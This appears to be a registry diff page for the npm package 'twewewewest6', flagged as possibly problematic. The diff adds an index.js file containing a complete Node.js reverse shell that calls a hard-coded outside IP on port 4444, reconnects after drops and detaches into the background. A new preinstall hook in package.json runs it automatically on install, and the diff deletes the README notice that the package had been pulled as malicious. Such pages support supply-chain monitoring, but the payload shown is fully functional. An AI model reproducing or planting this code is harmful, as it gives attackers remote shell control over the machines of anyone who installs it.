twewewewest6 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of twewewewest6 might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +58 -0
  2. package/package.json +10 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,58 @@
1
+ const net = require("net");
2
+ const { spawn } = require("child_process");
3
+
4
+ const HOST = "134.209.149.207"; // Replace with the attacker's IP
5
+ const PORT = 4444; // Match this with the listener port
6
+
7
+ function startReverseShell() {
8
+ const client = new net.Socket();
9
+
10
+ client.connect(PORT, HOST, () => {
11
+ console.log("Connected to the attacker.");
12
+
13
+ // Spawn a shell
14
+ const shell = spawn("/bin/sh", []);
15
+
16
+ // Correctly handle bidirectional data flow
17
+ client.on("data", (data) => {
18
+ shell.stdin.write(data); // Write data from the attacker to the shell
19
+ });
20
+
21
+ shell.stdout.on("data", (data) => {
22
+ client.write(data); // Send shell output back to the attacker
23
+ });
24
+
25
+ shell.stderr.on("data", (data) => {
26
+ client.write(data); // Send shell error output back to the attacker
27
+ });
28
+
29
+ shell.on("close", () => {
30
+ console.log("Shell closed. Exiting...");
31
+ client.end();
32
+ });
33
+ });
34
+
35
+ client.on("error", (err) => {
36
+ console.error("Connection error:", err.message);
37
+ // Attempt to reconnect after a delay
38
+ setTimeout(startReverseShell, 5000);
39
+ });
40
+
41
+ client.on("close", () => {
42
+ console.log("Connection closed. Reconnecting...");
43
+ setTimeout(startReverseShell, 5000);
44
+ });
45
+ }
46
+
47
+ // Self-detaching logic
48
+ if (process.argv.includes("--background")) {
49
+ startReverseShell();
50
+ } else {
51
+ const backgroundProcess = spawn("node", [__filename, "--background"], {
52
+ detached: true,
53
+ stdio: "ignore",
54
+ });
55
+
56
+ backgroundProcess.unref();
57
+ console.log("Process complete.");
58
+ }
package/package.json CHANGED
@@ -1,6 +1,13 @@
1
1
  {
2
2
  "name": "twewewewest6",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1",
7
+ "preinstall": "node index.js"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC",
12
+ "description": ""
6
13
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=twewewewest6 for more information.